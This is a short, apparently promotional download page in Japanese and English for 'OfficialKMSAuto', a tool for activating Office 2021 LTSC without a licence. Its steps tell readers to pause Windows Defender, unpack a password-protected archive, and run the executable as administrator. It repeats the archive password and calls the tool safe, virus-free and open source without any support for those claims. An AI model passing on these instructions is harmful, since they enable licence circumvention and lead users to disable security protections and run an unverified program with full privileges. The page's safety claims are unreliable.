日本語 6 min read·

Office 2021 LTSC 無料認証方法 2026 — ステップバイステップ

本記事は 2026 年版 Office 2021 LTSC の日本語完全ガイドです。Office LTSC 2021 activation — Ohook permanent or KMS 180-day renewable. Both bundled in KMSAuto Net.

Office 2021 LTSC — Free Windows & Office activator guide 2026
Download Now — Free🔐 Password: WYqejXiqBi97

本記事は 2026 年版 Office 2021 LTSC の日本語完全ガイドです。Office LTSC 2021 is the perpetual version sold to organizations. Both Ohook and KMS work; Ohook is recommended.

Step-by-step activation

Follow these steps exactly — the whole process takes under two minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the ZIP using the password WYqejXiqBi97
  • Right-click the executable and choose 'Run as administrator'
  • Pick the recommended method (HWID, Ohook or TSforge)
  • Wait for 'Successfully activated' then reboot

After activation — what to check

Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.

Frequently asked questions

Is this method free?

Yes — every activation method covered here is 100% free with OfficialKMSAuto.

Will it survive Windows updates?

Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.

Is an internet connection required?

Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.

Does it work on Windows 11 24H2?

Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.

What is the archive password?

WYqejXiqBi97 — shown on every download button on this site.

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Download OfficialKMSAuto

Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.

Download Activator — Free

🔐 Archive password: WYqejXiqBi97

Free · Virus-free · 77 MB · ★ 4.9 (12k+)